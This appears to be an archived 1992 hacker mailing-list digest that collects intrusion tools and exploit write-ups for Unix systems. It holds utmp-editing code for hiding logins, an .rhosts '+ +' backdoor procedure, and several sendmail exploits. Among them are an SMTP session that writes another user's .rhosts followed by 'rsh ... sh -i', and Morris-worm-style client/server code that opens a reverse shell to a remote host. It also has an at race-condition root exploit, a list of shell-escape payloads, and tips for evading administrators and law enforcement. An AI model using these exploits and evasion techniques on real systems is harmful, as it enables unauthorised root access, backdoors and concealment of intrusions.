+ - Develop the initial design for a proof-of- + concept prototype to include a statistical tool + (to develop user profiles), an expert system + tool (to analyze the data based on predefined + and consistent rules), and a neural network + tool. + - Determine the typical level of security + expertise and perceived needs of a security + manager who will use these auditing tools. + - Test the prototype tool kit using real/live + penetration techniques and data. + (2) Long Term Recommendation. The main long term +recommendation of TIS report #348 is that studies of the issues +surrounding intrusion detection technology be conducted. These +issues include: + - Risk Management + - Advanced Tools + - Network Monitoring + - Distributed Processing (of Audit Data) + - Statistical Analysis + - Detection Sensitivity Analysis + - Collusion Among Computer Users + - Distributed Network Attacks + - Intrusion Response (Counterattack) + - Computer User Responses to Intrusion Detection + - Recognition (to Reduce False Positive + Identifications) +5. TIS REPORT CONCLUSION. TIS report #348 concludes that there +has been much good scientific study done on intrusion detection +technologies, but insufficient time has been spent: + - Analyzing precise user needs, + - Determining the most appropriate technologies to use in + specific situations, and + - Cooperatively sharing the lessons learned from actual + intrusions. + VICTOR H. MARSHALL + Systems Assurance Team Leader + Booz, Allen & Hamilton Inc. +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Thu, 13 Feb 92 10:42:04 -0700 +Subject: utmp_ed.c + +============================================================================== +Section Name chapter.sec.version 00/00/00 +utmp_ed.c toolbox.01.01 02/13/92 +------------------------------------------------------------------------------ +DATA: +/* UTMP EDITOR. ROOT ONLY EXECUTABLE.. [for hackers.. :) ] + made in Korea + Ignor warnings... + By kod's friend.. 'X' */ +#include +#include +#include +main() + int fd, i = 0; + char buff[100], tmp[100]; + struct utmp *ttt; + ttt = (struct utmp *)buff; + if ((fd = open("/etc/utmp",O_RDWR)) == 0) + exit(1); + printf("File /etc/utmp opened.\n"); + while (read(fd, buff, sizeof(struct utmp)) == sizeof(struct utmp)) { + printf("[%d] %s %s %s %s", i++, &(ttt->ut_line), &(ttt->ut_name) +, &(ttt->ut_host), ctime(&(ttt->ut_time))); + } + printf("what entry do you want to edit? = "); + scanf("%d", &i); + lseek(fd, (long)(i * sizeof(struct utmp)), 0); + read(fd, buff, sizeof(struct utmp)); + printf("%s -> ", &(ttt->ut_line)); + strcpy(&(ttt->ut_line)," "); + scanf("%s", &(ttt->ut_line)); + printf("%s -> ", &(ttt->ut_name)); + strcpy(&(ttt->ut_name)," "); + scanf("%s", &(ttt->ut_name)); + printf("%s -> ", &(ttt->ut_host)); + strcpy(&(ttt->ut_host)," "); + scanf("%s", tmp); + if (!strcmp(tmp,"null")) + tmp[0] = 0; + strcpy(&(ttt->ut_host), tmp); + lseek(fd, (long)(i * sizeof(struct utmp)), 0); + write(fd, buff, sizeof(struct utmp)); + close(fd); + printf("Thank you.\n"); +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +Date: Sat, 15 Feb 92 10:35:43 -0700 +Subject: rhosts.hole + +============================================================================== +rhosts.hole 06.01.00 02/15/92 +------------------------------------------------------------------------------ +DATA: +% ls -l .rhosts +.rhosts 1 -rw-rw-rw- 69 root Jun. 9, 1969 +% cat >> .rhosts ++ + +^D +% cat /.rhosts +heaven.com god ++ + +% rlogin this.host.com -l root +Last login ... from ... +root# rm -rf .rhosts +root# cat > .rhosts +heaven.com god +^D +root# +------------------------------------------------------------------------------ +Comments: I'm not sure, but I think one + will work too... By +inserting the line '+ +' into an .rhosts file, one can gain access to +the account that uses that file from any account on any system provided that: +1) the account is capable of being logged into according to /etc/ttytab +2) if the account is root, some systems may require a password for all root +logins. If you put the '+ +' line in yourself, be sure to remove it when +you're done. One way to do this is to copy the .rhosts file to /tmp and then +copy it back. +Q's: What does this do for hosts.equiv? +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Sat, 15 Feb 92 10:37:16 -0700 +Subject: unwho.pl (revision) + +============================================================================== +unwho.pl toolbox.01.01 02/15/92 +------------------------------------------------------------------------------ +DATA: +#!/usr/local/bin/perl +# This assumes your /etc/utmp file looks like ours +$unname = shift; +open(UTMP,'+ +NOTE: you may have to edit the first line to match the path to perl. +Conceivably, you can use this script to remove yourself from utmp so that +you're invisible to programs which read /etc/utmp (like w, who, users). +NOTE: ps doesn't use /etc/utmp, it uses vmunix, so your processes will still +show up to other users. +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +------------------------------------- + +To join this group or have your thoughts in the next issue, please +send electronic mail to Tangent at the following address; + +infohax + +The views expressed in InfoHax Digest +are those of the individual authors only. + +********************* +End of InfoHax Digest +********************* + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +*** *** +*** unCERTain DIGEST #3 *** +*** 2/23/92 *** +*** *** +-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + Well folks, we kicked all those phuckin lamers off the list and recruited +some REAL TALLENT! + Our current roster is: + + Gail T. Dan Farmer + G Gordon Liddy Bob Morris + Matt Bishop David A Curry + Brad Powell Niel Gorsuch + Ed DeHart Eugene Spafford + Brian Kernighan Ellie Dee + Dennis Ritchie Ken Thompson + + WELCOME! + +------------------------------------------------------------------------------ + *** Introduction *** +------------------------------------------------------------------------------ +Contributions: +Several people still haven't contributed anything. I can understand +that many of you are very busy and have little time to write. If you can just +find 15-30 minutes to take a trick that you use or a hole that you've noticed +and do a writeup about it, that'd make us very happy. After all, what's the +point of having people who don't contribute remain on the mailing list? It's +just an added security risk. If you don't contribute anything, you will be +in danger of being removed from the list. I don't think it's too much to ask +to have everyone make at least one contribution. + +------------------------------------------------------------------------------ +Security: +This last weekend, some things happened concerning the security of +Infohax. I'm not all that clear on the details, but I'll try my best to +outline what happened. Someone on IRC was reported to have mentioned the +Infohax project. He also claimed to have copies of the digest and said he had +given them to CERT. He didn't say anything specific about the project, so it's +possible that he just heard a name and is trying to scare someone. Also, +a member's account was reported to have been seized with a copy of the digest +in his directory. We don't know whether or not the authorities have copies of +the digest or not, but we're attempting to tighten security just in case. +Those who we feel haven't contributed anything to the project so far have been +removed until they do make a contribution. They will be sent a notice +informing them of this fact. Also, we've lost our listserv address at +XXXXXXXXXXXX because of the concerns of some people there. + +In order to prevent anyone finding out about this project we ask the +following: +1) Ideally, we ask that you keep copies of the digest offline or, if online, + in an encrypted form. +2) Please don't mention the project to anyone unless they're already a member. +3) Non-contributors will be removed from the list. People who don't + contribute are just dead weight and add to the possibility of security + leaks. I can understand people being busy for periods of time, but please + make an effort to contribute regularly. +4) The project name will change from time to time, too many mail spools are + being grep'd. +5) No handles, names, or contact points will be mentioned in the digest. + +Only with your help can we make this work. +----------------------------------------------------------------------------- +A reminder: + This project is not about anything illegal, we are trying to collect and +preserve group knowledge. It is NOT about applying it! What you do on your +own time is your own business. No part of this project concerns the breaking +of any laws or encouraging others to do so, it's about how it could be done. + There we said it, considering the current 'weather', we felt we needed a +CYA type statement. We are NOT a hacking group, we collect, develope and +share knowledge and techniques. PERIOD! +------------------------------------------------------------------------------ +Voting: +Voting will be temporarily suspended until the security issues are +cleared up. The list will remain at its current size until then. +------------------------------------------------------------------------------ +TOC to date: ch.sec.rev ch.sec.rev +1 welcome.hax none 2 wtmp.hacker 01.12.01 +2 welcome.hax2 none 2 rfc.authd.draft 01.13.00 +3 intro.hax none 2 son.of.IP 01.14.00 +2 hole.list hole.list.00 2 audit.tools 01.15.00 +3 hole.list.2 hole.list.01 3 war.hax 01.16.00 +1 sysadmin.comments 01.01.00 2 rdist.hole 06.00.00 +1 frm.paper 01.02.00 2 rhosts.hole 06.01.00 +1 frm.mentor.paper 01.03.00 1 unwho.pl cookbook.01.00 +1 shell.tools 01.04.00 2 utmp_ed.c cookbook.01.01 +1 phone.trace.evsn 01.05.00 2 unwho.pl(rev) cookbook.01.02 +1 BSD.accnt.files 01.06.00 3 smforwrd.c cookbook.06.00 +1 trace.fakemail.gd 01.07.00 3 smwrite.c cookbook.06.01 +1 IP.tracing 01.08.00 3 smwiz.trk cookbook.06.02 +1 more.IP.tracing 01.09.00 3 smdebug.c cookbook.06.03 +1 rfc931 01.10.00 3 sploit.c cookbook.06.04 +1 hacker.trkr.tools 01.11.00 3 at_race.c cookbook.12.00 + 3 chfn.sh cookbook.12.01 + oops... 3 vmunix.c cookbook.13.00 +--------------------------------------------------------------------------- +Now to the good part! :) +Index: +====== + intro.hax3 the usual blerb ... + FYI current 'intel' about the scene ... + hole.list.2 CONTRIBUTE TO ME!, new holes, and sollutions welcome! + war.hax how a hacker caught someone snooping arround his accnt + smforwrd.c using sendmail to write to another users .rhosts files + smwrite.c sendmail write hole like above but different + smwiz.trk sendmail wiz - still works on a few systems... + smdebug.c sendmail debug trick, used by the internet worm + sploit.c simmilar to smforwrd.c but different + at_race.c at race contition to get root + chfn.c change finger info race condition to get root + vmunix.c kernel/tty reader +------------------------------------------------------------------------------ +---------------------------------------------------------------------------- +FYI: +As a service to our members we will from time to time include current +security related info about people and sites. + +DO NOT SEND ********ANY********* MAIL TO ANY USER AT: + +gmuvax2.gmu.edu + +ALL EMAIL SENT THERE IS BEING READ BY THE FEDS, AND I MEAN EVERYTHING +THAT IS BEING SENT NOW OR WAS SENT OVER THE LAST 10 MONTHS. + +Ninja Master:is rummered to have gotten into a car accident, and to have died. + (there are also rummers that he didn't, anyway, no one has heard from him) +Feanor: has changed his handle to XXXXXXXXand is being watched by the cs + dept at his school. do not send any mail to his address. +Dispater:is being watched by his cs dept, do not send any mail to his address +Tangent: is being watched by the sysadmins at cXXXXXXXXXXXXXXXXXXXXXXXXXX + any mail should be directed to one of the other addresses or her accnt + at the old listserv site. +Albatross:is being watched, no safe address at this time, do not send mail to + XXXXXXXXXXXXXXXXXXXXX +Conflict: is being watched, no safe address at this time, do not send mail to + XXXXXXXXXXXXXXXXXXXXXXX +There may be some serveilence of the machine gnu.ai.mit.edu, but this is + unclear at this time. + +>Subject: pass the word... +> +>there's rumoredly a person sniffing all traffic on #hack ... you may +>want to have yourself and your friends hold off on serious chats at +>least for now, as this person is claiming to be dumping it to the FBI +>(either as its going on or in the future, it wasn't clear). +> +>Just so you know... +> + +Not So Humble Babe and a few others were busted see the next phrack for +info. (these people were carding and into warez ...) + +Alot of people have had DNR's on their lines in Cal - feds were after the +TRW hackers - few busts... (credit scam) + +Just a reminder to stay away from cards, codez, .gov,+ .mil sites. You +WILL be busted eventually if you don't. (also anything to do w/ money ...) +----------------------------------------------------------------------------- + +============================================================================== +hole.list.2 hole.list.01 02/23/92 +------------------------------------------------------------------------------ +DATA: + +========= + GENERAL +========= + +1. Do not allow usernames to contain any of the following characters ";~!`" + (or any shell meta-charaters). This allows setuid root programs that + popen to be spoofed. + +2. Never allow a setuid to root program to send a mail message that the user + creates to either the Berkeley mailer or mailx. All a user has to do + to break root is to send a line such as: + +~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh + + That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell + escape to be executed if the line starts in column one of stdout while + entering the message text. + +3. Most security holes in UNIX are related to incorrect setting of directory + and file permissions or race conditions in the kernel that allow setuid + programs to be exploited. All non-standard setuid programs should be + examined. + +4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can + break security relatively easily. MIT's PROJECT ATHENA came up with + Kerberos to address these problems, networks are usually very insecure. + +5. The mount command should not be executeable by ordinary users. A setuid + program on a mountable disk is NOT TO BE TRUSTED. + +6. Systems that allow read-only mounting of foriegn disk are a security + hole. Setuid programs are normally honored. This allows a person who + has root access on a foriegn machine to break it on another. + +7. Expreserve can be a huge hole (see the following) + + /dev/fb + the frame buffer devices on at least suns are world + readable/writeable, which is at best annoying (when + someone runs something strange on you) and at worst + insecure (since someone can take a snapshot of your screen + via screenload or whatnot) + + /dev/*st*, *mt*, etc (tape devices) + generally world readable/writeable, bad since others can + nuke your tapes, read your backups, etc. + + chfn, chsh + used to create a root account + + core + will system dump a setgid core image? + + domain name system + a sysadmin running the soa for a domain somewhere can + create a bugs reverse address mapping table for one of his + hosts that causes its IP address to have the domain name + of a machine that my host has in its hosts.equiv file. if + i'm using the usual version of 'istrusted' (I think that's + the routine's name), the address lookup reveals the name + of the host to be one that my host trusts, and this other + sysadmin can rlogin into my machine or rsh or whatnot at + will. + + fchown + test for bad group test + + ftruncate + can be used to change major/minor numbers on devices + + fingerd + hard .plan links - reading unreadable files readable by + user(fingerd) + + setuid, .plan links + + running as root + (fingerd_test.sh) + + buffer overrun + + file mod test. + test of file does not loose the setuid bit when modified + + + ftp + ftpd + static passwd struct overwrite + + 4.2 based bug, userid not reset properly, (after logging + in enter comment "user root" and you are, last seen + onder SunOS 3.3?). + + overwrite stack somehow? + + hosts.equiv + default + entry + + istrusted routine - easy to spoof by bad SOA at remote + site with hacked reverse address map. + + lock + 4.1bsd version had the password "hasta la vista" as a + builtin trapdoor. (found in ultrix) + + lost+found, fsck + lost+found should be mode 700, else others might see + private files. + + lpd + its possible to ovberwrite files with root authority with + user level access locally or remotely if you have local + root access + + lpr + lpr -r access testing problem + + lprm + trusts utmp + + passwd + fgets use allows long entries which will be mangled into + ::0:0::: entries + + also allows: + fred:...:...:...:Fred ....Flintstone::/bin/sh => + fred:...:...:...:Fred..... + Flintstone::/bin/sh + which is a root entry with no password! + + fix - should skip to eol if it didn't read whole entry, + should enforce buffer limits on text in file, don't use + atoi (since atoi(/bin/sh) is 0). + + portmap + allows other net entities to make bindings - may not be a + "security hole", can lead to denial of service. + + rcp + nobody problem + + rexd + existence + + rwall,comsat + running as root, utmp world writeable, writes to files as + well as devices in utmp dev fields. + + + rdist - buffer overflow + + selection_svc + allowed remote access to files + + sendmail + debug option + + wizard mode + + TURN command + allows mail to be stolen + + decode mail alias - anyone can send mail to decode, write + to any file onwed by daemon, if they can connect to + sendmail daemon, can write to any file owned by any user. + + + overflow input buffer + cause the sendmail deamon to lock up + + overwrite files + sendmail can be "tricked" into delivering mail + into any file but those own my root. + + -oQ (different Q) + fixed in newer versions + + mqueue must not be mode 777! + + what uid does |program run with? + + sendmail -bt -C/usr/spool/mail/user - in old versions, + allows you to see all lines of the file. + + setuid bit handling + setuid/setgid bit should be dropped if a file is modified + + fix: kernel changes + + setuid scripts + there are several problems with setuid scripts. is it + worth writing tests for these? some systems might have + fixed some of the holes - does anyone know how one fixes + these problems in a proactive fashion? + + sh + IFS hole (used with vi, anything else?) + + su + overwrite stack somehow? + + tcp/ip + sequence number prediction makes host spoofing easier + + source routing make host spoofing easier + + rip allows one to capture traffic more easily + + various icmp attacks possible + + (I suspect a traceroute'd kernel will allow one to easily + dump packets onto the ethernet) + + tftp + allows one to grab random files (eg, /etc/passwd). + fix - should do a chroot + + allows puts as well as gets, no chroot + + fix - don't run as root, use chroot, no puts, only if boot + server. + + utmp + check to see if world writeable (if so, the data can't be + trusted, although some programs are written as though they + trust the data (comsat, rwalld)). + + uucp + check if valid uucp accounts are in the /etc/ftpusers. If + the shell is uucico and passwd is valid make sure it is + listed in ftpusers. + + check to see that uucp accounts have shell: if left off, + folks can do: + + cat >x + myhost myname + ^D + uucp x ~uucp/.rhosts + rsh myhost -l uucp sh -i + + HDB nostrangers shell escape + + HDB changing the owner of set uid/gid files + + HDB meta escapes on the X command line + + HDB ; breaks on the X line + + uudecode + if it is setuid, some versions will create setuid files + + + ypbind + accepts ypset from anyone (can create own ypserv and data, + and ypset to it...) + + ypserv spoofing + send lots of bogus replies to a request for root's passwd + entry, while doing something that would generate such a + request [I'm pretty sure that this is possible, but + haven't tried it.] + + AIX + * password means use root's password? + + AIX 2.2.1 + shadow password file (/etc/security/passwd) world + writeable + + fix - chmod 600... + + 386i login + fix - nuke logintool, hack on login with adb, chmod 2750 + + ultrix 3.0 login + login -P progname allows one to run random programs as root. + fix - chmod 2750. + + xhost: + if access access control is disabled any one can connect to + a X display it is possible and create (forge) and/or + intercept keystrokes. + + + + +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +============================================================================== +war.hax 01.16.00 02/23/92 +------------------------------------------------------------------------------ +DATA: + + + :: Hacker War Stories :: + + NOSEY ADMINS + ~~~~~~~~~~~~ + + Two years ago, during Operation Sundevil, I had a legitimate account +called "Phrack", at the university I attended. I just called it that because, +I liked the name and the magazine. I did correspond through e-mail with KL&TK, +and wrote a little bit for Phrack, but it wasn't like an official Phrack +mailing list. However, this raised some suspicion my many people mearly +because of the address, "phrack@blah.blah.edu". At my university there was a +faculty member that thought necessary to peer into my account, read my mail and +other things. This is how I caught him. + + I told a friend, that was the administrator of the machine, I had +noticed some odd things going on with my account. My password was not an +english word or a name or anything else that was easily cracked by a program +like Killer Cracker. What we did was we did was created another account for me +to use while we monitored my "Phrack" account. I used the newly created +account as I did my old one and told everyone I knew that the other account +was dead. I also never accessed the "Phrack" account again. As it turns out +the idiot was using root to get into my account and we quickly saw this in the +".history" file. On my machine the ".history" file was world readable and +therefore I didn't have any problems seeing what he did from my new account. + + + LESSON LEARNED + ~~~~~~~~~~~~~~ + + I'd like to point out that I have never been "busted" by the feds or +even reprimanded by my school for anything I did on their system. I abused +the system for about four years with no one batting an eye. I thought that +a friend of mine and myself were the only hackers on the system. I didn't +feel the least bit paranoid. I felt too secure as it turns out, even though I +didn't get caught doing anything I got caught up in a hacker sweep that caused +a few problems for me. My crime against humanity was this; I left two +passwords cracking programs in my directory that were found by the admins one +day. + + One day the admin got scared when they noticed someone was running +*TWO* password cracking programs on two different accounts. To this day, I +have no idea who this person was. Anyway, they went on a hacker witch hunt and +decided that they should check all accounts for any "unethical software". +Needless to say I had a few things that matched that category, but I was just +storing them there, and NEVER ran anything like that on my account. They could +even see this in their process accounting. So, I got my account revoked +because I had things in my directory that the admins thought were "potentially +unethical". + + I have never had any direct contact with the "net police" until +then. It was a real shock. I had at this time, no idea that people were +interested in burying their heads in the sand about computer security. +I just figured that they "just didn't know" but would probably learn if someone +would teach them some things. But instead, I learned that people just prefer +to get scared and hide from people that don't have a piece of paper that +says they know computer science. I also learned a few other things: + +1) Always be paranoid of the administrators. Never trust anyone that is an + admin, unless you've known them for a really long time. (e.g.: since high + school) +2) You are guilty until proven innocent. Just because you aren't doing + anything wrong doesn't mean you're innocent in the eyes of someone looking + to place the blame. +3) You are generally not the only hacker on a system. Just because you are + using precautions when you hack to cover your ass, doesn't mean that some + other idiot won't fuck things up for you! +4) Always be paranoid. Even if you have a legitimate account on a machine + treat it like everybody in the world can see every move you make, because + sometimes they do! Don't get lazy and say, "well I'll download that + tomorrow." Tomorrow you could wake up with your account gone. +5) We live in a network police state. +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +============================================================================== +smforwrd.c cookbook.06.00 02/23/92 +------------------------------------------------------------------------------ +DATA: + +trick for sendmail 5.61 +/* + * 1) set the #define UID, at the top of the program to be your's + * 2) create a file: /tmp/.shell, which is a script to make a suid shell + * 3) compile the program and name it say, /tmp/.magic + * 4) create a .forward file containing: '|/tmp/.magic' + * 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever + * you want a shell from (but not root :-( RATS!) + * 6) wait abit, it usuallly works ... + */ + +#define UID 777 /* change to your uid */ + +#include +#include +#include +#include +#include +#include + +#define SHELLFILE "/tmp/.shell" + +main() + int myuid, rval; + + if ((myuid = getuid()) == UID) + rval = EX_TEMPFAIL; + else { + rval = EX_OK; + system(SHELLFILE); + } + exit(rval); +} +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +============================================================================== +smwrite.c cookbook.06.01 02/06/92 +------------------------------------------------------------------------------ +DATA: +Using Sendmail to write files +============================= +Here is the output from a script(1) that shows how one can convince +sendmail to write to another users `.rhosts'. + $ telnet your.friendly.host smtp + Trying 1.2.3.4 ... + Connected to your.friendly.host. + Escape character is '^]'. + 220 your.friendly.host Sendmail 4.0 ready at Sun, 17 Sep 89 03:18:08 + mail from: + 250 ... Sender ok + rcpt to: /etc/passwd + 554 /etc/passwd... Cannot mail directly to files + rcpt to: /etc/passwd + 550 /etc/passwd... Addressee unknown + data + 354 Enter mail, end with "." on a line by itself + ignore + . + 250 Mail accepted + mail from: joeuser + 554 /etc/passwd... Possible alias loop + rcpt to: /usr/users/joeuser/.rhosts + 250 /usr/users/joeuser/.rhosts... Recipient ok + data + 503 Need MAIL command + mail from: joeuser + 250 joeuser... Sender ok + data + 354 Enter mail, end with "." on a line by itself + hack.edu hacker + . + 250 Mail accepted + quit + 221 your.friendly.host delivering mail + Connection closed by foreign host. + $ rsh your.friendly.host -l joeuser sh -i +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +============================================================================== +smwiz.trk cookbook.06.02 02/23/92 +------------------------------------------------------------------------------ +DATA: +WIZ +=== +WIZ mode is even more interesting. You just telent to the host of +your choice, type `wiz' followed by `SHELL' and presto, a root +shell on that host. This only works on old UNIX systems, but there +are certainly a few of those lying around. +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +============================================================================== +smdebug.c cookbook.06.03 02/23/92 +------------------------------------------------------------------------------ +DATA: +Worm +==== +Here are a client and server process that use the same method that +Robert T. Morris Jr. used in his Internet worm. It exploits debug +mode in sendmail. + + + #include + #include + #include + #include + #include + + /* + * Worm Client + * + */ + + main(argc, argv) + int argc; + char *argv[]; + { + struct sockaddr_in sin; + int s; + char **str, c; + + if (fork() > 0) + exit(); + bzero(&sin, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = inet_addr(worm_server_addr); + sin.sin_port = htons(3456); + + s = socket(AF_INET, SOCK_STREAM, 0); + if (connect(s, &sin, sizeof(sin)) < 0) { + perror("no connection"); + exit(1); + } + + close(0); + close(1); + close(2); + dup(s, 0); + dup(s, 1); + dup(s, 2); + + printf("Hello, I am worm client!\n"); + fflush(stdout); + system("/bin/csh"); + fflush(stdout); + close(s); + } + + #include + #include + #include + #include + #include + + char *worm_head[] = { + "debug", + "mail from: ", + "rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">", + "data", + "", + "cd /usr/tmp", + "rm -rf sendmail.c sendmail.o sendmail", + "cat > sendmail.c << 'EOF'", + 0 + }; + + char *worm_tail[] = { + "EOF", + "", + "cc -o sendmail sendmail.c; rm -rf sendmail.c ; ./sendmail ;rm -rf sendmail", + "", + ".", + "quit", + 0 + }; + + main(argc, argv) + int argc; + char *argv[]; + { + struct sockaddr_in sin; + int s; + char **str, c; + int from_worm_client; + + if (argc != 2) { + fprintf(stderr, "%s conanical-IP-address\n", argv[0]); + exit(1); + } + + from_worm_client = worm_server_set(); + + bzero(&sin, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = inet_addr(argv[1]); + sin.sin_port = htons(25); + + s = socket(AF_INET, SOCK_STREAM, 0); + if (connect(s, &sin, sizeof(sin)) < 0) { + perror("no connection"); + exit(1); + } + + close(1); + dup(s, 1); + + str = worm_head; + while (*str) + printf("%s\r\n", *str++); + + put_server_host_addr(); + + put_main_worm_body(); + + str = worm_tail; + while (*str) + printf("%s\r\n", *str++); + + fflush(stdout); + close(s); + + worm_server_get(from_worm_client); + } + + put_server_host_addr() + { + struct hostent *hp; + char hostname[BUFSIZ]; + + gethostname(hostname, BUFSIZ); + hp = gethostbyname(hostname); + printf("char *worm_server_addr = \""); + + while (hp->h_length) { + hp->h_length--; + printf("%d", (int) (*hp->h_addr++)); + if (hp->h_length) + printf("."); + } + + printf("\";\r\n"); + } + + put_main_worm_body() + { + FILE *worm_client; + char *c, buf[BUFSIZ]; + + worm_client = fopen(WORM_CLIENT_SRC, "r"); + + if (worm_client == NULL) { + perror("no worm client src"); + exit(1); + } + + while (fgets(buf, BUFSIZ, worm_client) != NULL) { + c = buf; + while (*c && *c != '\n') + printf("%c", *c++);(*c++); + printf("\r\n"); + } + + fclose(worm_client); + } + + worm_server_set() + { + struct sockaddr_in sin; + int s; + char **str, c; + + bzero(&sin, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = INADDR_ANY; + sin.sin_port = htons(3456); + + s = socket(AF_INET, SOCK_STREAM, 0); + if (bind(s, &sin, sizeof(sin)) < 0) { + perror("no bind"); + exit(1); + } + + if (listen(s, 5) == -1) { + perror("no listen"); + exit(1); + } + + return s; + } + + worm_server_get(s) + int s; + { + char buf[BUFSIZ]; + int f, fromlen; + struct sockaddr_in from; + int pid; + + fromlen = sizeof(from); + f = accept(s, &from, &fromlen); + + if (f < 0) { + perror("no accept"); + exit(1); + } + + close(1); + dup(f, 1); + + pid = fork(); + + if (pid == 0) + for (;;) { + if ((fromlen = read(f, buf, BUFSIZ)) <= 0) + exit(1); + write(2, buf, fromlen); + fflush(stderr); + } + else { + for (;;) { + fprintf(stderr, "ready: "); + if (fgets(buf, BUFSIZ, stdin) == NULL) { + puts("exit\n"); + puts("logout\n"); + fflush(stdout); + kill(pid, 9); + break; + } else { + puts(buf); + fflush(stdout); + } + } + } + + close(f); + close(s); + } + + +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +============================================================================== +sploit.c cookbook.06.04 02/23/92 +------------------------------------------------------------------------------ +DATA: +local comprimise +================ +Save the following program as "sploit.c" changing MYUID to your user id. +Compile "sploit.c" producing the executable "sploit" in your home +directory. Create a ".forward" file containing: + \, "|/sploit" +[change to your username so you dont lose mail (unless, of +course, you'd rather lose mail) and set to your home directory +path (where sploit lives)] Now, as another user, send yourself some +mail. Note that the sploit program defers delivery the first time thru; +check out "/tmp/whoami" to see that sploit ran as you. Now, run your +mail queue (or open a beer and wait for sendmail to run it). After the +queue run, note that the sploit accepted the letter and returned a +successful exit status; check out "/tmp/whoami" again to see that this +time, sploit ran as the sender! You can also use "sploit.c" to test for +the root initgroups() hole by checking the group list when "sploit" was +first called. + + #include + #include + #include + #include + #include + #include + + #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */ + + #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */ + #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */ + + main() + { + FILE *fp; + uid_t myuid; + int i, rval, ngrps, grplst[NGROUPS]; + + if ((myuid = getuid()) == MYUID) + rval = EX_TEMPFAIL; + else + rval = EX_OK; + + if ((fp = fopen("/tmp/whoami", "a")) != NULL) { + + /* real user/group ids */ + fprintf(fp, "%susr:%s grp:%s", + (rval == EX_OK)? "": "Def> ", + getuser(myuid), getgrp(getgid())); + + /* effective user/group ids */ + fprintf(fp, " eusr:%s egrp:%s", + getuser(geteuid()), getgrp(getegid())); + + /* group list */ + if ((ngrps = getgroups(NGROUPS, grplst)) > 0) { + fprintf(fp, " grps:"); + for (i = 0; i < ngrps; i++) + fprintf(fp, " %s", getgrp(grplst[i])); + } + fprintf(fp, "\n"); + + (void) fclose(fp); + } + + exit(rval); + } + +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +============================================================================== +at_race.c cookbook.12.00 02/23/92 +------------------------------------------------------------------------------ +DATA: +AT race condition +================= +This will fight `at' for gaining root status. It uses a system +race condition so it is in a reliable way to break into a system, but it +will certainly work in time. + + #include + #include + #include + + #defineATSIZE512 + + charAtdir[] = "/usr/spool/at"; + + charAtformat[] = "\ + # owner: root\n\ + # jobname: chkfpd\n\ + # shell: sh\n\ + # notify by mail: no\n\ + \n\ + exec 2>&-\n\ + /bin/echo '#! /bin/sh' > /tmp/-\n\ + /bin/chmod 6711 /tmp/-\n\ + exit 0\n\ + \n"; + + char*env[] = { + 0 + }; + + intpid; + + + main() + { + charatfile[ATSIZE], buf[5]; + intfd; + FILE*fp; + structtm*tp, *getnowtime(); + voidmakeatfile(), maketime(); + + + maketime(tp = getnowtime()); + (void) sprintf(buf, "%02d%02d", tp->tm_hour, tp->tm_min); + + switch (pid = vfork()) { + case -1: + perror("fork"); + exit(1); + case 0: + (void) nice(19); + (void) umask(0); + (void) execle("/usr/bin/at", "at", "-s", buf, + "/dev/null", (char *) 0, env); + perror("at"); + _exit(1); + } + + makeatfile(atfile, tp); + + while ((fd = open(atfile, 1)) < 0) + ; + + printf("OK: "); + (void) fflush(stdout); + + (void) wait((union wait *) 0); + + fp = fdopen(fd, "w"); + fprintf(fp, Atformat); + (void) fclose(fp); + + printf("%s\n", buf);/* the time of the atrun */ + exit(0); + } + + /* + * the following routines were stolen and adapted from at.c + */ + + structtm*getnowtime() + { + structtimevaltime; + structtm*localtime(); + + + if (gettimeofday(&time, (struct timezone *) 0) < 0) { + perror("gettimeofday"); + exit(1); + } + return localtime(&time.tv_sec); + } + + + voidmaketime(tp) + structtm*tp; + { + intmin; + + + if ((min = tp->tm_min) < 29)/* at least 1 minute gap */ + tp->tm_min = min < 14 ? 15 : 30; + else + if (min < 44) + tp->tm_min = 45; + else { + tp->tm_min = 0; + if (++tp->tm_hour >= 24) { + tp->tm_hour = 0; + if (++tp->tm_yday >= (tp->tm_year & 03 ? 365 : 366)) { + tp->tm_yday = 0; + ++tp->tm_year;/* no check */ + } + } + } + } + + + voidmakeatfile(atfile, tp) + char*atfile; + structtm*tp; + { + inti; + + + for (i = 0; ; i += 53) { + (void) sprintf(atfile, "%s/%02d.%03d.%02d%02d.%02d", Atdir, + tp->tm_year, tp->tm_yday, tp->tm_hour, tp->tm_min, + (pid + i) % 100); + + /* + * Make sure that the file name that we've created is unique. + */ + + if (access(atfile, 0) == -1) + return; + } + } +------------------------------------------------------------------------------ +Comments: +================= + SVR.0 to SVR3.2 +================= + +Several at(1)s have an extremely nasty 